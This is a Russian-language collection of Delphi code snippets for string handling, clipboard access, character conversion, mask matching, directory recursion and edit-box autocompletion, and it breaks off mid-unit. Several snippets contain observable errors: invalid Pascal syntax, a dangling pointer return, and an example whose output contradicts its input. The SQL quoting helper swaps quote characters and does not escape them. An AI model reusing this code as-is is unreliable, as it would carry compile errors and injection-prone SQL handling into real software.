>> Расщепление строки с разделителями на массив строк
Зависимости: System
Автор:       ALL.exe, Alexe@054.pfr.ru, ICQ:161857370, Kostroma
Copyright:   ALL.exe
Дата:        13 марта 2003 г.
***************************************************** }
type
  TSepArr = array of string; // массив "записей"
  TSepRec = record
    Rec: TSepArr; // сами "записи"
    Max: integer; // количество полученных "записей"
  end;
function GetSeparatorRec(const sRows: string;
  cSeparator: char = ','): TSepRec;
var
  cCol: array of integer;
  i, j: integer;
  bSTRING: boolean;
begin
  Result.Max := -1;
  j := 1;
  bSTRING := False;
  SetLength(cCol, j);
  cCol[0] := 0;
  for i := 1 to Length(sRows) do
  begin
    if sRows[i] = '"' then
      bSTRING := not bSTRING;
    if (sRows[i] = cSeparator) and (not bSTRING) then
    begin
      j := j + 1;
      SetLength(cCol, j);
      cCol[j - 1] := i;
    end;
  end;
  j := j + 1;
  SetLength(cCol, j);
  cCol[j - 1] := Length(sRows) + 1;
  Result.Max := High(cCol);
  if Result.Max > 0 then
  begin
    SetLength(Result.Rec, Result.Max + 1);
    Result.Rec[0] := IntToStr(Result.Max);
    for i := 1 to Result.Max do
      Result.Rec[i] := Copy(sRows, cCol[i - 1] + 1, cCol[i] - cCol[i - 1] - 1);
  end;
end;

Пример использования:

var
  R: TSepRec;
begin
  R := GetSeparatorRec('123.45-ABCDEF-"A-B-C"-"0"-', '-');
// результат:
  R.Max = 5;
  R.Rec = ('5', '123.45', 'ABCDEF', '"A;B;C"', '"0"', '');

Поместить или получить строку из буфера обмена (заплатка к стандартным).

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поместить/получить строку из буфера обмена (Заплатка к стандартным)
Под Win2k попытка вставить русскую строку в Clipboard ClipBoard.AsText:='Проба'
с последующей вставкой в Wоrd'е показывает кракозябрики..
Расследование показало, что виноваты мелкомягкие (как обычно :) )
С целью нивелирования различий между всеми Win-платформами были написаны эти 2 ф-ции..
Принимают на вход/возвращают строку в Unicode - WideString..
но не надо беспокоиться, Дельфи сам вставит при необходимости
конвертацию в/из AnsiString.
Если платформа поддерживает уникод (NT), то используется этот формат,
иначе вызываются стандартные процедуры/ф-ции.
Удачи!
Зависимости: ClipBrd
Автор:       Shaman_Naydak, shanturov@pisem.net
Copyright:   Shaman_Naydak
Дата:        26 июня 2002 г.
***************************************************** }
procedure PutStringIntoClipBoard(const Str: WideString);
var
  Size: Integer;
  Data: THandle;
  DataPtr: Pointer;
begin
  Size := Length(Str);
  if Size = 0 then
    exit;
  if not IsClipboardFormatAvailable(CF_UNICODETEXT) then
    Clipboard.AsText := Str
  else
  begin
    Size := Size shl 1 + 2;
    Data := GlobalAlloc(GMEM_MOVEABLE + GMEM_DDESHARE, Size);
    try
      DataPtr := GlobalLock(Data);
      try
        Move(Pointer(Str)^, DataPtr^, Size);
        Clipboard.SetAsHandle(CF_UNICODETEXT, Data);
      finally
        GlobalUnlock(Data);
      end;
    except
      GlobalFree(Data);
      raise;
    end;
  end;
end;
function GetStringFromClipboard: WideString;
var
  Data: THandle;
begin
  if not IsClipboardFormatAvailable(CF_UNICODETEXT) then
    Result := Clipboard.AsText
  else
  begin
    Clipboard.Open;
    Data := GetClipboardData(CF_UNICODETEXT);
    try
      if Data <> 0 then
        Result := PWideChar(GlobalLock(Data))
      else
        Result := '';
    finally
      if Data <> 0 then
        GlobalUnlock(Data);
      Clipboard.Close;
    end;
  end;
end;

Преобразование строки в строку для SQL-сервера.

Автор: Сергей WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование строки в строку для SQL-сервера
Преобразование строки в строку для SQL-сервера
Зависимости: ???
Автор:       Сергей, nfkazak@inbox.ru, Краснодар
Copyright:   VIP BANK
Дата:        11 сентября 2002 г.
***************************************************** }
function SQL_String(Value: string): string;
var
  i: integer;
  Ch_1,
    Ch_2: Char;
  QM_1,
    QM_2: Boolean;
begin
  QM_1 := False;
  QM_2 := False;
  for i := 1 to Length(Value) do
  begin
    case Value[i] of
      '''': QM_1 := True;
      '"': QM_2 := True;
    end;
  end;
  if QM_1 and (not QM_2) then
  begin
    Ch_1 := '"';
    Ch_2 := '''';
  end
  else
  begin
    Ch_1 := '''';
    Ch_2 := '"';
  end;
  if QM_1 and QM_2 then
  begin
    for i := 1 to Length(Value) do
      if Value[i] = Ch_1 then
        Value[i] := Ch_2;
  end;
  Result := Ch_1 + Value + Ch_1;
end;

Преобразование String в PChar.

function strtoPchar(s:string):Pchar;
begin
  S := S+#0;
  result:=StrPCopy(@S[1], S) ;
end;

Или.

pch:=PChar(str);

str:=String(pch);

Конвертация String в PWideChar.

Автор: Gua WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Конвертация String в PWideChar
Зависимости: ???
Автор:       Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright:   Andre .v.d. Merwe
Дата:        18 июля 2002 г.
***************************************************** }
function StringToPWide(sStr: string; var iNewSize: integer): PWideChar;
var
  pw: PWideChar;
  iSize: integer;
begin
  iSize := Length(sStr) + 1;
  iNewSize := iSize * 2;
  pw := AllocMem(iNewSize);
  MultiByteToWideChar(CP_ACP, 0, PChar(sStr), iSize, pw, iNewSize);
  Result := pw;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  iSize: integer;
begin
  ChangeWallpaper(StringToPWide('C:\1.jpg', iSize));
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Конвертация PWideChar в String
Зависимости: ???
Автор:       Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright:   Andre .v.d. Merwe
Дата:        18 июля 2002 г.
***************************************************** }
function PWideToString(pw: PWideChar): string;
var
  p: PChar;
  iLen: integer;
begin
  iLen := lstrlenw(pw) + 1;
  GetMem(p, iLen);
  WideCharToMultiByte(CP_ACP, 0, pw, iLen, p, iLen * 2, nil, nil);
  Result := p;
  FreeMem(p, iLen);
end;

Преобразование строки S в набор её чисел, где каждое число представляет каждый символ строки.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование строки S в набор её чисел,
где каждое число представляет каждый символ строки
Получив строку S функция преобразует её в набор чисел, каждое из которых
обозначает код текущего символа, а перед каждым числом располагается символ "#".
Пусть, например, S = 'Hello';
Тогда Result = '#72#101#108#108#111';
Зависимости: system
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        25 апреля 2002 г.
***************************************************** }
function StrToAscii(S: string): string;
var
  I, X: Integer;
  RS: string;
  CurChar: string;
begin
  Result := '';
  if Length(S) = 0 then
    Exit;
  X := 1;
  for I := 1 to Length(S) do
  begin
    CurChar := '#' + Inttostr(Ord(S[I]));
    Insert(CurChar, RS, X);
    X := X + Length(CurChar);
  end;
  Result := RS;
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование набора чисел, предопределённых символом "#" в строку
Функция преобразует набор чисел, предопределённых символом "#" в
соответствующую строку. Каждое число в наборе чисел должно представлять из
себя код символа по ASCII таблице.
Например, если AsciiString '#72#101#108#108#111', то Result = 'Hello';
Зависимости: sysutils, system
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        26 апреля 2002 г.
***************************************************** }
function ASCIIToStr(AsciiString: string): string;
var
  I, X, L, Lastpos: Integer;
  CurDIGChar, CurrAddChar, RS: string;
begin
  RESULT := '';
  L := Length(AsciiString);
  if L = 0 then
    Exit;
  X := 0;
  LASTPOS := 1;
  repeat
    I := X;
    CurDIGChar := '';
    repeat
      I := I + 1;
      if AsciiString[I] <> '#' then
        CurDIGChar := CurDIGChar + AsciiString[I];
    until (AsciiString[I] = '#') or (i = l);
    X := I;
    if CurDIGChar <> '' then
    begin
      try
        CurrAddChar := CHR(STRTOINT(CurDIGChar));
      except CurrAddChar := '';
      end;
      Insert(CurrAddChar, RS, lastpos);
      LastPos := LastPos + Length(CurrAddChar);
    end;
  until (X >= L) or (I >= L);
  Result := RS;
end;

Пример использования:

var
  X, Z: string;
begin
  Z := StrToAscii('Hello');
  // Z будет содержать '#72#101#108#108#111'
  X := AsciiToStr(Z);
  //В результате X будет содержать слово Hello
end;

Расщепить строку в слова и обратно.

unit StrFuncs;
interface 
uses SysUtils, Classes; 
function StrToArrays(str, r: string; out temp: TStrings): Boolean; 
function ArrayToStr(str: TStrings; r: string): string; 
implementation 
function StrToArrays(str, r: string; out temp: TStrings): Boolean; 
var 
  j: Integer; 
begin 
  if temp <> nil then  
  begin 
    temp.Clear; 
    while str <> '' do  
    begin 
      j := Pos(r, str); 
      if j = 0 then j := Length(str) + 1; 
      temp.Add(Copy(Str, 1, j - 1)); 
      Delete(Str, 1, j + Length(r) - 1); 
    end; 
    Result := True; 
    else  
      Result := False; 
  end; 
end; 
function ArrayToStr(str: TStrings; r: string): string; 
var 
  i: Integer; 
begin 
  Result := ''; 
  for i := 0 to Str.Count - 1 do 
  begin 
    Result := Result + Str.Strings[i] + r; 
  end; 
end; 
end.

Разбивка строки на отдельные слова.

Автор: Separator WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Разбивка строки на отдельные слова
function StringToWords(const DelimitedText: string; ResultList: TStrings;
Delimiters: TDelimiter = []): boolean - разбивает отдельную строку на
состовляющие ее слова и результат помещает в TStringList
function StringsToWords(const DelimitedStrings: TStrings; ResultList: TStrings;
Delimiters: TDelimiter = []): boolean - разбивает любое количество строк на
состовляющие их слова и все помещяет в один TStringList
Delimiters - список символов являющихся разделителями слов,
например такие как пробел, !, ? и т.д.
Зависимости: Classes
Автор:       Separator, separator@mail.kz, Алматы
Copyright:   Separator
Дата:        13 ноября 2002 г.
***************************************************** }
unit spUtils;
interface
uses Classes;
type
  TDelimiter = set of #0..'я' ;
const
  StandartDelimiters: TDelimiter = [' ', '!', '@', '(', ')', '-', '|', '\', ';',
    ':', '"', '/', '?', '.', '>', ',', '<'];
  //Преобразование в набор слов
function StringToWords(const DelimitedText: string; ResultList: TStrings;
  Delimiters: TDelimiter = []; ListClear: boolean = true): boolean;
function StringsToWords(const DelimitedStrings: TStrings; ResultList: TStrings;
  Delimiters: TDelimiter = []; ListClear: boolean = true): boolean;
implementation
function StringToWords(const DelimitedText: string; ResultList: TStrings;
  Delimiters: TDelimiter = []; ListClear: boolean = true): boolean;
var
  i, Len, Prev: word;
  TempList: TStringList;
begin
  Result := false;
  if (ResultList <> nil) and (DelimitedText <> '') then
  try
    TempList := TStringList.Create;
    if Delimiters = [] then
      Delimiters := StandartDelimiters;
    Len := 1;
    Prev := 0;
    for i := 1 to Length(DelimitedText) do
    begin
      if Prev <> 0 then
      begin
        if DelimitedText[i] in Delimiters then
        begin
          if Len = 0 then
            Prev := i + 1
          else
          begin
            TempList.Add(copy(DelimitedText, Prev, Len));
            Len := 0;
            Prev := i + 1
          end
        end
        else
          Inc(Len)
      end
      else if not (DelimitedText[i] in Delimiters) then
        Prev := i
    end;
    if Len > 0 then
      TempList.Add(copy(DelimitedText, Prev, Len));
    if TempList.Count > 0 then
    begin
      if ListClear then
        ResultList.Assign(TempList)
      else
        ResultList.AddStrings(TempList);
      Result := true
    end;
  finally
    TempList.Free
  end
end;
function StringsToWords(const DelimitedStrings: TStrings; ResultList: TStrings;
  Delimiters: TDelimiter = []; ListClear: boolean = true): boolean;
begin
  if Delimiters = [] then
    Delimiters := StandartDelimiters + [#13, #10]
  else
    Delimiters := Delimiters + [#13, #10];
  Result := StringToWords(DelimitedStrings.Text, ResultList, Delimiters,
    ListClear)
end;
end.

Пример использования:

StringToWords(Edit1.Text, Memo1.Lines);
StringToWords(Edit1.Text, Memo1.Lines, [' ', '.', ',']);
StringsToWords(Memo1.Lines, Memo2.Lines);
StringsToWords(Memo1.Lines, Memo2.Lines, [' ', '.', ',']); 

Небольшой модуль для работы со строками.

Автор: SuMaga WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Небольшой модуль для работы со строками
function CompMask(S, Mask: string):string; //выбор строки по маске
// удаление из строки count символов начиная с posit
function deleteStr(s:string;posit,count:integer):string;
//Удаление из строки s сначала first и с конца last символов
function deleteFaskaStr(s:string; first,last:integer):string;
Запись в стринлист strg всех вхождений по маске mask из строки source
procedure getStrings(var strg: TStringList; mask,source: string);
Зависимости: classes,sysutils
Автор:       SuMaga, sumaga@mail.ru, ICQ:721602488, Махачкала
Copyright:   Сам состряпал :)
Дата:        24 января 2003 г.
***************************************************** }
unit StrMask;
interface
uses classes, sysutils;
function CompMask(S, Mask: string): string;
function deleteStr(s: string; posit, count: integer): string;
function deleteFaskaStr(s: string; first, last: integer): string;
procedure getStrings(var strg: TStringList; mask, source: string);
implementation
type
  TmaskObj = class
    constructor open;
  public
    Maschr: tstringlist;
    Masposish: TStringList;
    destructor close;
  end;
procedure getStrings(var strg: TStringList; mask, source: string);
var
  s, s2: string;
begin
  s2 := source;
  s := CompMask(s2, mask);
  while s <> '' do
  begin
    strg.Add(s);
    s2 := StringReplace(s2, s, '', []);
    s := CompMask(s2, mask);
    if pos(s, s2) = 0 then
      break;
  end;
end;
function eraseMask(inpstr: TStrings): TStrings;
var
  i: integer;
  e: boolean;
begin
  e := false;
  for i := 0 to inpstr.Count - 1 do
    if (i <> inpstr.Count - 1) and (i < inpstr.Count - 1) then
      if ((inpstr[i] = '`') and (inpstr[i + 1] = '|')) or
        ((inpstr[i] = '|') and (inpstr[i + 1] = '`')) or
        ((inpstr[i] = '`') and (inpstr[i + 1] = '`')) then
      begin
        e := true;
      end;
  if (e = false) or (i <= inpstr.Count - 1) then
  begin
    Result := inpstr;
    exit;
  end;
  for i := 0 to inpstr.Count - 1 do
    if (i <> inpstr.Count - 1) and (i < inpstr.Count - 1) then
      if ((inpstr[i] = '`') and (inpstr[i + 1] = '|')) or
        ((inpstr[i] = '`') and (inpstr[i + 1] = '`')) or
        ((inpstr[i] = '|') and (inpstr[i + 1] = '`')) then
      begin
        inpstr.Delete(i + 1);
        inpstr[i] := '`';
      end;
  Result := eraseMask(inpstr);
end;
{
`<---- Эквивалентна----->*
|<---- Эквивалентна----->?
}
function SplitMask(mask: string; MaskList: TStringList): TStringList;
var
  i, j, k: integer;
  s1: string;
  mch: TmaskObj;
begin
  mch := TmaskObj.open;
  for i := 1 to length(Mask) do
  begin
    if Mask[i] = '`' then
    begin
      mch.Maschr.Add('`');
      mch.Masposish.Add(inttostr(i))
    end;
    if Mask[i] = '|' then
    begin
      mch.Maschr.Add('|');
      mch.Masposish.Add(inttostr(i))
    end;
  end;
  k := 0;
  for i := 0 to mch.Maschr.Count - 1 do
  begin
    j := strtoint(mch.Masposish.Strings[i]) - k;
    if j - 1 <> 0 then
      s1 := copy(Mask, 1, j - 1)
    else
      s1 := '';
    delete(Mask, 1, j);
    k := length(s1) + 1 + k;
    if (s1 <> mch.Maschr.Strings[i]) and (length(s1) <> 0) then
      MaskList.Add(s1);
    MaskList.Add(mch.Maschr.Strings[i]);
  end;
  if Mask <> '' then
    MaskList.Add(Mask);
  mch.close;
  Result := TStringList(eraseMask(MaskList));
end;
function deleteStr(s: string; posit, count: integer): string;
begin
  Delete(s, posit, count);
  Result := s;
end;
function deleteFaskaStr(s: string; first, last: integer): string;
begin
  result := deleteStr(s, 1, first);
  result := deleteStr(Result, length(Result) - last + 1, length(Result) -
    (length(Result) - last));
end;
function CompMask(S, Mask: string): string;
var
  i, j, k, y: integer;
  s1, s2, s3, s4, s5: string;
  MaskList: TStringList;
  PrPos: integer;
var
  fm: boolean;
label
  1, 2, 3;
begin
  2:
  if length(s) = 0 then
    exit;
  if length(Mask) = 0 then
    exit;
  if length(s) < length(Mask) then
    exit;
  //if Assigned(MaskList) then
  begin
    MaskList := TStringList.Create;
    MaskList := SplitMask(Mask, MaskList);
  end;
  PrPos := 0;
  s4 := s;
  fm := false;
  s3 := '';
  i := 0;
  result := '';
  if MaskList.Count - 1 = 0 then
  begin
    if (MaskList[0] = '`') then
    begin
      s3 := s;
      fm := true;
    end;
    if (MaskList[0] = '|') then
    begin
      s3 := s[1];
      fm := true;
      result := s3;
      exit;
    end;
    if (MaskList[0] <> '`') and (MaskList[0] <> '|') then
    begin
      if pos(MaskList[0], s) = 0 then
        exit;
      s3 := copy(s, pos(MaskList[0], s), length(MaskList[0]));
      fm := true;
    end;
    i := MaskList.Count + 1;
  end;
  //Начало цикла
  while i <= MaskList.Count - 1 do
  begin
    if (MaskList[i] = '`') and (PrPos = 0) and (i + 1 <= MaskList.Count - 1)
      then
    begin
      if pos(MaskList[i + 1], s) = 0 then
        goto 2;
      j := pos(MaskList[i + 1], s) + length(MaskList[i + 1]) - 1;
      s3 := copy(s, 1, j);
      delete(s, 1, j);
      fm := true;
      PrPos := j;
      i := i + 1;
      goto 1;
    end;
    if (MaskList[i] = '|') and (PrPos = 0) and (i + 1 <= MaskList.Count - 1)
      then
    begin
      k := i;
      y := 0;
      if i + 1 <= MaskList.Count - 1 then
        while (MaskList[k] = '|') do
        begin
          k := k + 1;
          y := y + 1;
          if k >= MaskList.Count - 1 then
            break;
        end;
      if pos(MaskList[k], s) = 0 then
        goto 2;
      j := pos(MaskList[k], s);
      s3 := copy(s, j - y, length(MaskList[k]) + y);
      delete(s, 1, j + length(MaskList[k]) - 1);
      fm := true;
      PrPos := j - 1;
      i := k;
      goto 1;
    end;
    if (PrPos = 0) and (MaskList[i] <> '|') and (MaskList[i] <> '`') then
    begin
      if pos(MaskList[i], s) = 0 then
        break;
      j := pos(MaskList[i], s);
      s3 := copy(s, j, length(MaskList[i]));
      delete(s, 1, j + length(MaskList[i]) - 1);
      fm := true;
      PrPos := length(MaskList[i]);
      goto 1;
    end;
    fm := false;
    if (PrPos <> 0) and (i < MaskList.Count - 1) then
    begin
      if (MaskList[i] = '`') then
      begin
        if pos(MaskList[i + 1], s) = 0 then
          goto 2;
        j := pos(MaskList[i + 1], s);
        s3 := s3 + copy(s, 1, j + length(MaskList[i + 1]) - 1);
        fm := true;
        delete(s, 1, j + length(MaskList[i + 1]) - 1);
        PrPos := j + length(MaskList[i + 1]);
        i := i + 1;
        goto 1;
      end;
      if (MaskList[i] = '|') then
      begin
        if i + 1 <= MaskList.Count - 1 then
          if MaskList[i + 1] <> '|' then
          begin
            if pos(MaskList[i + 1], s) > 2 then
            begin
              //break;
              goto 2;
            end;
            s3 := s3 + copy(s, 1, length(MaskList[i + 1]) + 1);
            delete(s, 1, length(MaskList[i + 1]) + 1);
            fm := true;
            i := i + 1;
            goto 1;
          end;
        s3 := s3 + copy(s, 1, 1);
        delete(s, 1, 1);
        fm := true;
        PrPos := 1;
      end;
      if (MaskList[i] <> '`') and (MaskList[i] <> '|') then
      begin
        if pos(MaskList[i], s) = 0 then
          goto 2;
        j := pos(MaskList[i], s);
        s3 := s3 + copy(s, j, length(MaskList[i]));
        delete(s, 1, j + length(MaskList[i]) - 1);
        fm := true;
        PrPos := length(MaskList[i]);
        fm := true
      end;
    end;
    if (PrPos <> 0) and (i = MaskList.Count - 1) then
    begin
      if (MaskList[i] = '`') then
      begin
        s3 := s3 + s;
        s := '';
        fm := true;
        PrPos := j;
      end;
      if (MaskList[i] = '|') then
      begin
        s3 := s3 + copy(s, 1, 1);
        delete(s, 1, 1);
        fm := true;
        PrPos := 1;
      end;
      if (MaskList[i] <> '`') and (MaskList[i] <> '|') then
      begin
        if pos(MaskList[i], s) <> 0 then
          j := pos(MaskList[i], s) + length(MaskList[i]) - 1
        else
          goto 2;
        s3 := s3 + copy(s, 1, j);
        delete(s, 1, j);
        fm := true;
        PrPos := j + length(s3);
      end;
    end;
    1: inc(i);
  end;
  s5 := s3;
  if s3 <> '' then
    for i := 0 to MaskList.Count - 1 do
      if (MaskList[i] <> '`') and (MaskList[i] <> '|') then
      begin
        if pos(MaskList[i], s3) = 0 then
          goto 2;
        s3 := StringReplace(s3, MaskList[i], '', []);
      end;
  s3 := s5;
  MaskList.Free;
  if fm then
  begin
    result := s3;
  end
    {
    {result:='';
    else
    if length(s)>=length(Mask) then
    result:=CompMask(s,Mask)
    else Result:='';}
end;
destructor TmaskObj.close;
begin
  Maschr.free;
  Masposish.free;
end;
constructor TmaskObj.open;
begin
  Maschr := TStringList.Create;
  Masposish := TStringList.Create;
end;
end.

Пример использования:

s := 'asd r';
s := CompMask(s, 'd |');
//в результате s='d r';

Стилизатор.

Автор: Александр.

unit Stilizator;
interface
uses
  Windows, Messages,  Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, XPMan;
type
  TForm1 = class(TForm)
    MemoSource: TMemo;
    MemoDest: TMemo;
    Button: TButton;
    XPManifest1: TXPManifest;
    procedure ButtonClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure ConvertText(Letter: String);
  end;
var
  Form1: TForm1;
  RS : Array [0..65] of String;
  PRS : Array [0..65] of String;
  ES : Array [0..51] of String;
  PPS : Array [0..51] of String;
implementation
uses AboutUnit;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
RS[0]:='а'; PRS[0]:='@';
RS[1]:='б'; PRS[1]:='6';
RS[2]:='в'; PRS[2]:='B';
RS[3]:='г'; PRS[3]:='r';
RS[4]:='д'; PRS[4]:='g';
RS[5]:='е'; PRS[5]:='e';
RS[6]:='ё'; PRS[6]:='e';
RS[7]:='ж'; PRS[7]:='}|{';
RS[8]:='з'; PRS[8]:='3';
RS[9]:='и'; PRS[9]:='u';
RS[10]:='й'; PRS[10]:='u';
RS[11]:='к'; PRS[11]:='k';
RS[12]:='л'; PRS[12]:='JI';
RS[13]:='м'; PRS[13]:='M';
RS[14]:='н'; PRS[14]:='H';
RS[15]:='о'; PRS[15]:='o';
RS[16]:='п'; PRS[16]:='n';
RS[17]:='р'; PRS[17]:='p';
RS[18]:='с'; PRS[18]:='c';
RS[19]:='т'; PRS[19]:='T';
RS[20]:='у'; PRS[20]:='y';
RS[21]:='ф'; PRS[21]:='%';
RS[22]:='х'; PRS[22]:='x';
RS[23]:='ц'; PRS[23]:='?';
RS[24]:='ч'; PRS[24]:='4';
RS[25]:='ш'; PRS[25]:='III';
RS[26]:='щ'; PRS[26]:='III,';
RS[27]:='ъ'; PRS[27]:='b';
RS[28]:='ы'; PRS[28]:='bI';
RS[29]:='ь'; PRS[29]:='b';
RS[30]:='э'; PRS[30]:='&';
RS[31]:='ю'; PRS[31]:='I-o';
RS[32]:='я'; PRS[32]:='9I';
RS[33]:='А'; PRS[33]:='A';
RS[34]:='Б'; PRS[34]:='6';
RS[35]:='В'; PRS[35]:='B';
RS[36]:='Г'; PRS[36]:='r';
RS[37]:='Д'; PRS[37]:='g';
RS[38]:='Е'; PRS[38]:='E';
RS[39]:='Ё'; PRS[39]:='E';
RS[40]:='Ж'; PRS[40]:='}|{';
RS[41]:='З'; PRS[41]:='3';
RS[42]:='И'; PRS[42]:='U';
RS[43]:='Й'; PRS[43]:='U';
RS[44]:='К'; PRS[44]:='K';
RS[45]:='Л'; PRS[45]:='JL';
RS[46]:='М'; PRS[46]:='M';
RS[47]:='Н'; PRS[47]:='H';
RS[48]:='О'; PRS[48]:='O';
RS[49]:='П'; PRS[49]:='n';
RS[50]:='Р'; PRS[50]:='p';
RS[51]:='С'; PRS[51]:='c';
RS[52]:='Т'; PRS[52]:='T';
RS[53]:='У'; PRS[53]:='Y';
RS[54]:='Ф'; PRS[54]:='%';
RS[55]:='Х'; PRS[55]:='X';
RS[56]:='Ц'; PRS[56]:='?';
RS[57]:='Ч'; PRS[57]:='4';
RS[58]:='Ш'; PRS[58]:='III';
RS[59]:='Щ'; PRS[59]:='III,';
RS[60]:='Ъ'; PRS[60]:='b';
RS[61]:='Ы'; PRS[61]:='bI';
RS[62]:='Ь'; PRS[62]:='b';
RS[63]:='Э'; PRS[63]:='&';
RS[64]:='Ю'; PRS[64]:='I-O';
RS[65]:='Я'; PRS[65]:='9I';
ES[0]:='a'; PPS[0]:='@';
ES[1]:='b'; PPS[1]:='6';
ES[2]:='c'; PPS[2]:='|_|,';
ES[3]:='d'; PPS[3]:=',^,';
ES[4]:='e'; PPS[4]:='e';
ES[5]:='f'; PPS[5]:='%';
ES[6]:='g'; PPS[6]:='|"';
ES[7]:='h'; PPS[7]:='][';
ES[8]:='i'; PPS[8]:='|/|';
ES[9]:='j'; PPS[9]:='>|<';
ES[10]:='k'; PPS[10]:='K';
ES[11]:='l'; PPS[11]:='/\';
ES[12]:='m'; PPS[12]:='M';
ES[13]:='n'; PPS[13]:='|-|';
ES[14]:='o'; PPS[14]:='0';
ES[15]:='p'; PPS[15]:='n';
ES[16]:='q'; PPS[16]:='k|3';
ES[17]:='r'; PPS[17]:='P';
ES[18]:='s'; PPS[18]:='$';
ES[19]:='t'; PPS[19]:='T';
ES[20]:='u'; PPS[20]:='Y';
ES[21]:='v'; PPS[21]:='\/';
ES[22]:='w'; PPS[22]:='|3';
ES[23]:='x'; PPS[23]:='kc';
ES[24]:='y'; PPS[24]:='9';
ES[25]:='z'; PPS[25]:='3';
ES[26]:='A'; PPS[26]:='@';
ES[27]:='B'; PPS[27]:='6';
ES[28]:='C'; PPS[28]:='|_|,';
ES[29]:='D'; PPS[29]:=',^,';
ES[30]:='E'; PPS[30]:='E';
ES[31]:='F'; PPS[31]:='%';
ES[32]:='G'; PPS[32]:='|"';
ES[33]:='H'; PPS[33]:='}{';
ES[34]:='I'; PPS[34]:='|/|';
ES[35]:='J'; PPS[35]:='>|<';
ES[36]:='K'; PPS[36]:='K';
ES[37]:='L'; PPS[37]:='/\';
ES[38]:='M'; PPS[38]:='M';
ES[39]:='N'; PPS[39]:='|-|';
ES[40]:='O'; PPS[40]:='0';
ES[41]:='P'; PPS[41]:='n';
ES[42]:='Q'; PPS[42]:='K|3';
ES[43]:='R'; PPS[43]:='P';
ES[44]:='S'; PPS[44]:='$';
ES[45]:='T'; PPS[45]:='T';
ES[46]:='U'; PPS[46]:='Y';
ES[47]:='V'; PPS[47]:='\/';
ES[48]:='W'; PPS[48]:='|3';
ES[49]:='X'; PPS[49]:='][';
ES[50]:='Y'; PPS[50]:='9';
ES[51]:='Z'; PPS[51]:='3';
end;
procedure TForm1.ButtonClick(Sender: TObject);
var
  i : Integer;
  Letter : String;
begin
  MemoDest.Clear;
  for i := 0 to MemoSource.GetTextLen - 1 do begin
    MemoSource.SelStart := i;
    MemoSource.SelLength := 1;
    Letter := MemoSource.SelText;
    ConvertText(Letter);
    Sleep(5)
    end;
  MemoSource.SelLength := 0;
end;
procedure TForm1.ConvertText(Letter: String);
var
  i : Integer;
begin
  for i := 0 to 65 do begin
    if Letter = RS[i] then
      Letter := PRS[i];
  end;
  for i := 0 to 51 do begin
    if Letter = ES[i] then
      Letter := PPS[i];
  end;
  MemoDest.Text := MemoDest.Text + Letter;
end;
end.

Итерация подкаталогов.

Комп, как модель матриархата: на одной мамке можно завести папок сколько влезет.
procedure TFormList.RecurseDir(PathInicial: string);
var
  SearchRec: TSearchRec;
  Result: integer;
  tmpName: string;
begin
  DirectoryListBox1.Directory := PathInicial;
  Result := FindFirst(PathInicial + '\*.*', faAnyFile, SearchRec);
  while Result = 0 do
  begin
    if ExtOk(SearchRec.Name) then
      { если каталог... }
      if SearchRec.Attr and faDirectory > 0 then
        { рекурсивно обрабатываем... }
        RecurseDir(PathInicial + '\' + SearchRec.Name)
      else
      begin
        tmpName := PathInicial + '\' + SearchRec.Name;
        tmpName := Copy(tmpName,
          Pos(PathOrigen, tmpName) + Length(PathOrigen),
          Length(tmpName) - Length(PathOrigen));
        ListBox1.Items.Add(LowerCase(tmpName));
      end;
    Application.ProcessMessages;
    Result := FindNext(SearchRec);
  end;
  DirectoryListBox1.Directory := PathInicial;
end;

Подстановка в TEdit.

Статьи по Delphi (016)…
Последние новости от Microsoft: Билл Гейтс привезет 10 октября в Москву последнюю разработку своей компании - партию картриджей для Dendy и Super Nintendo с новой версией операционной системы Windows и пакета MSOffice на русском языке, и лично будет продавать их на Митинском радиорынке (место G9) под усиленной охраной ОМОН.
var
  words: TStringList;
procedure TForm1.FormCreate(Sender: TObject);
begin
  words := TStringList.Create;
  words.Sorted := true;
  words.Add('one');
  words.Add('two');
  words.Add('four');
  words.Add('five');
  words.Add('six');
  words.Add('seven');
  words.Add('eight');
  words.Add('nine');
  words.Add('ten');
end;
procedure TForm1.Edit1KeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
const
  chars: set of char = ['A'..'Z', 'a'..'z', 'А'..'Я', 'а'..'я'];
var
  w: string;
  i: integer;
  s: string;
  full: string;
  SelSt: integer;
begin
  case Key of
    VK_RETURN, VK_TAB:
    begin
      Edit1.SelStart := Edit1.SelStart + Edit1.SelLength;
      Edit1.SelLength := 0;
      Exit;
    end;
    VK_DELETE, VK_BACK:
    begin
      Edit1.ClearSelection;
      Exit;
    end;
  end;
  s := Edit1.Text;
  SelSt := Edit1.SelStart;
  i := SelSt;
  if (length(s) > i) and (s[i+1] in chars) then
    Exit;
  w := '';
  while (i >= 1) and (s[i] in chars) do
  begin
    w := s[i] + w;
    dec(i);
  end;
  if length(w) then
    Exit;
  words.Find(w, i);
  if (i >= 0) and (UpperCase(copy(words[i], 1,
  length(w))) = UpperCase(w)) then
  begin
    full := words[i];
    insert(copy(full, length(w) + 1, length(full)), s, SelSt + 1);
    Edit1.Text := s;
    Edit1.SelStart := SelSt;
    Edit1.SelLength := length(full) - length(w);
  end;
end;

Переопределение оконной процедуры и метода для другой формы.

Статьи по Delphi (016)…
unit SubSecon;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
